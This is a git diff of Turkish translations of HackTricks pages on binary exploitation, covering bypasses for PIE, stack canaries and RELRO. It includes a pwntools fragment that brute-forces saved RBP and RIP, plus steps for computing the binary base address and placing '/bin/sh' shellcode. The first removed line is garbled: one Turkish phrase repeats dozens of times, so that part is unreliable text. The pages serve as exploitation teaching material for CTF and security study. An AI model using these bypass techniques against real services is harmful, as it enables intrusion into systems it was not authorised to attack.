sonra, diğerlerini **sabit ofsetlerine** göre hesaplayabilirsiniz. -PIE ikilileri sömürürken yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bittiği** ve bellek sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olduğu için hafıza sayfalarının rastgelele +PIE ikili dosyaları sömürmek için faydalı bir ipucu, **temel adreslerinin genellikle 000 ile bittiği**dır, çünkü bellek sayfaları rastgeleleştirme birimleri olup 0x1000 bayt büyüklüğündedir. Bu hizalama, bir saldırının beklenildiği gibi çalışmadığını gösteren kritik bir **kontrol olabilir**, doğru temel adresin belirlenip belirlenmediğini gösterir.\ +Veya bu hizalamayı saldırınızda kullanabilirsiniz, bir adresin **`0x649e1024`** konumunda olduğunu sızdırdığınızda, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve oradan sadece fonksiyonların ve konumların **ofsetlerini hesaplayabilirsiniz**. + +## Atlatmalar + +PIE'yi atlatmak için yüklenen ikili dosyanın **bazı adreslerini sızdırmanız** gerekmektedir, bunun için bazı seçenekler bulunmaktadır: + +* **ASLR devre dışı bırakılmışsa**: ASLR devre dışı bırakılmışsa, PIE ile derlenmiş bir ikili dosya her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. +* Sızıntıyı **verilmiş** almak (kolay CTF zorluklarında yaygındır, [**bu örneği kontrol edin**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +* Yığında **doğru olanları sızdırana kadar EBP ve EIP değerlerini** brute-force etmek: + +{% content-ref url="bypassing-canary-and-pie.md" %} +[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) +{% endcontent-ref %} + +* Yığında bir adresi sızdırmak için [**format dizesi**](../../format-strings/) gibi bir **keyfi okuma** zafiyetini kullanarak ikili dosyanın bir adresini sızdırın (örneğin, önceki teknikte olduğu gibi yığından) ve ikilinin temelini alın ve oradan ofsetleri kullanın. [**Bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). + +## Referanslar + +* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 46d26ee95..cca2c987c 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,38 +1,39 @@ # Yığında BF Adresleri +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} **Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.** ![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın, bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\ +**`checksec`**'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\ Ancak, bir değerin bir işlev çağrısının başında yığında kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz. {% endhint %} -## Adresleri Kaba Kuvvetle Bulma +## Kaba Kuvvet Adresleri -**PIE'yi atlatmak** için **bazı adresleri sızdırmanız** gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyisi **savunmasız işlevde yığındaki RBP ve RIP'yi kaba kuvvetle bulmaktır.**\ -Örneğin, bir ikili hem bir **canary** hem de **PIE** kullanarak korunuyorsa, önce canary'yi kaba kuvvetle bulabilir, ardından **sonraki** 8 Bayt (x64) kaydedilmiş **RBP** ve **sonraki** 8 Bayt kaydedilmiş **RIP** olacaktır. +**PIE'yi atlatmak** için bir **adres sızdırmanız** gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yapılacak şey, zayıf olan işlevde yığındaki **RBP ve RIP'yi kaba kuvvet uygulamaktır.**\ +Örneğin, bir ikili hem bir **canary** hem de **PIE** kullanarak korunuyorsa, canary'yi kaba kuvvet uygulamaya başlayabilir, ardından **sonraki** 8 Bayt (x64) kaydedilmiş **RBP** ve **sonraki** 8 Bayt kaydedilmiş **RIP** olacaktır. {% hint style="success" %} -Yığın içindeki dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zafiyetin ikili kodda bulunduğu durumda genellikle geçerli olacaktır. +Yığında bulunan dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zayıflık ikili kodda bulunuyorsa genellikle geçerli olacaktır. {% endhint %} -İkiliden RBP ve RIP'yi kaba kuvvetle bulmak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya sadece çökmeyi önlemediğini fark edebilirsiniz. Canary'yi kaba kuvvetle bulmak için sağlanan **aynı işlev**, RBP ve RIP'yi kaba kuvvetle bulmak için de kullanılabilir: +İkiliden RBP ve RIP'yi kaba kuvvet uygulamak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya çökmediğini fark edebilirsiniz. Canary'yi kaba kuvvet uygulamak için sağlanan işlevle **aynı işlev** RBP ve RIP'yi kaba kuvvet uygulamak için kullanılabilir: ```python from pwn import * @@ -80,37 +81,38 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` -Son ihtiyacınız olan şey, PIE'ı yenmek için sızdırılan adreslerden yararlı adresleri hesaplamaktır: RBP ve RIP. +Son şey, PIE'ı yenmek için gereken **sızdırılan adreslerden yararlı adresleri hesaplamaktır**: **RBP** ve **RIP**. -RBP'den, kabuğunuzu yığında nereye yazdığınızı hesaplayabilirsiniz. Bu, _"/bin/sh\x00"_ dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve kabuğunuz arasındaki mesafeyi hesaplamak için sadece RBP sızdırdıktan sonra bir kesme noktası koyabilir ve kabuğunuzun nerede bulunduğunu kontrol edebilirsiniz, ardından kabuk kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz: +**RBP** adresinden, **shell kodunuzu yığında nereye yazdığınızı hesaplayabilirsiniz**. Bu, _"/bin/sh\x00"_ dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve shell kodunuz arasındaki mesafeyi hesaplamak için sadece **RBP sızdırdıktan sonra bir kesme noktası koyabilir** ve **shell kodunuzun nerede bulunduğunu kontrol edebilirsiniz**, ardından, shell kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz: ```python INI_SHELLCODE = RBP - 1152 ``` **RIP**'ten, **PIE ikili dosyasının başlangıç adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri oluşturmak için ihtiyacınız olan şeydir.**\ -Baz adresini hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: +Taban adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: ![](<../../../.gitbook/assets/image (479).png>) -Bu örnekte, tüm kodları bulmak için yalnızca **1 Byte ve yarım** gerektiğini görebilirsiniz, sonra, bu durumda baz adresi **sızdırılan RIP ancak "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, baz adres `0x562002970000` olacaktır. +Bu örnekte, tüm kodları bulmak için yalnızca **1 Byte ve yarım** gerektiğini görebilirsiniz, sonra, bu durumda taban adresi **sızdırılan RIP ancak "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, taban adres `0x562002970000` olacaktır. ```python elf.address = RIP - (RIP & 0xfff) ``` ## İyileştirmeler -[**Bu gönderiden bazı gözlemlere göre**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), RBP ve RIP değerlerini sızdırdığınızda, sunucunun bazı doğru olmayan değerlerle çökmediği ve BF betiğinin doğru değerleri aldığını düşüneceği mümkündür. Bu, **bazı adreslerin tam olarak doğru olmasa bile bunu bozmayabileceği** mümkündür. +[**Bu gönderiden bazı gözlemlere göre**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), RBP ve RIP değerlerinin sızdırıldığında, sunucunun bazı doğru olmayan değerlerle çökmediği ve BF betiğinin doğru değerleri aldığını düşüneceği mümkündür. Bu, **bazı adreslerin tam olarak doğru olanlar olmasa bile bunu bozmayabileceği mümkündür**. Bu blog gönderisine göre sunucuya yapılan istekler arasına kısa bir gecikme eklemek önerilir. +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan başlayarak AWS hacklemeyi öğrenin ve ustalaşın htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/binary-exploitation/common-binary-protections-and-bypasses/relro.md index e9865b23d..ca8b5bd96 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -1,40 +1,41 @@ # Relro +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Relro -**RELRO**, **Yer Değiştirme Salt Okunur**'un kısaltmasıdır ve **GOT (Global Offset Table)** üzerine yazma risklerini azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramı açıklığa kavuşturmak için **Partial RELRO** ve **Full RELRO** olmak üzere iki farklı türüne ayrılabilir. +**RELRO**, **Relocation Read-Only**'nin kısaltmasıdır ve **GOT (Global Offset Table)** üzerine yazma risklerini azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramı açıklığa kavuşturmak için iki farklı türü olan **Partial RELRO** ve **Full RELRO**'yu inceleyelim. ### **Partial RELRO** -**Partial RELRO**, ikili dosyanın performansını önemli ölçüde etkilemeden güvenliği artırmak için daha basit bir yaklaşım benimser. **GOT'yi programın değişkenlerinin üzerine yerleştirerek, Partial RELRO, tampon taşmalarının GOT'a ulaşmasını ve onu bozmasını engellemeyi amaçlar**. +**Partial RELRO**, ikili dosyanın performansını önemli ölçüde etkilemeden güvenliği artırmak için daha basit bir yaklaşım benimser. **GOT'yi programın değişkenlerinin bellekte üzerine yerleştirerek, Partial RELRO, tampon taşmalarının GOT'a ulaşmasını ve onu bozmasını engellemeyi amaçlar**. Bu, **GOT'un** keyfi yazma **zafiyetlerinden** kötüye kullanılmasını **engellemez**. ### **Full RELRO** -**Full RELRO**, **GOT ve .fini\_array** bölümünü tamamen **salt okunur hale getirerek** korumayı artırır. İkili başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, böylece çalışma zamanında herhangi bir değişikliğe izin verilmez. +**Full RELRO**, **GOT ve .fini\_array** bölümünü tamamen **salt okunur** hale getirerek korumayı artırır. İkili dosya başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, böylece çalışma zamanında herhangi bir değişikliğe izin verilmez. -Ancak, Full RELRO ile performans ve başlatma süresi açısından bir takas yapılır. GOT'u salt okunur olarak işaretlemek için başlangıçta tüm dinamik sembolleri çözmesi gerektiğinden, **Full RELRO etkinleştirilmiş ikili dosyalar daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç ​​maliyeti nedeniyle Full RELRO varsayılan olarak tüm ikili dosyalarda etkinleştirilmez. +Ancak, Full RELRO ile performans ve başlatma süresi arasında bir takas yapılır. GOT'u salt okunur olarak işaretlemek için başlangıçta tüm dinamik sembolleri çözmesi gerektiğinden, **Full RELRO etkinleştirilmiş ikili dosyalar daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç ​​maliyeti nedeniyle Full RELRO varsayılan olarak tüm ikili dosyalarda etkinleştirilmez. -Bir ikili dosyada Full RELRO'nun **etkin olup olmadığını** görmek mümkündür: +Bir ikili dosyada Full RELRO'nun **etkinleştirilip** etkinleştirilmediğini görmek mümkündür: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` -## Geçme +## Atlatma Tam RELRO etkinleştirildiğinde, bunu atlatmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır. diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index a7a907218..1c09fab3a 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -1,34 +1,35 @@ # Stack Canaries +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -- **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın! -- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin -- [The PEASS Family](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [NFT'lerimiz](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- 💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live)'ı takip edin. -- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 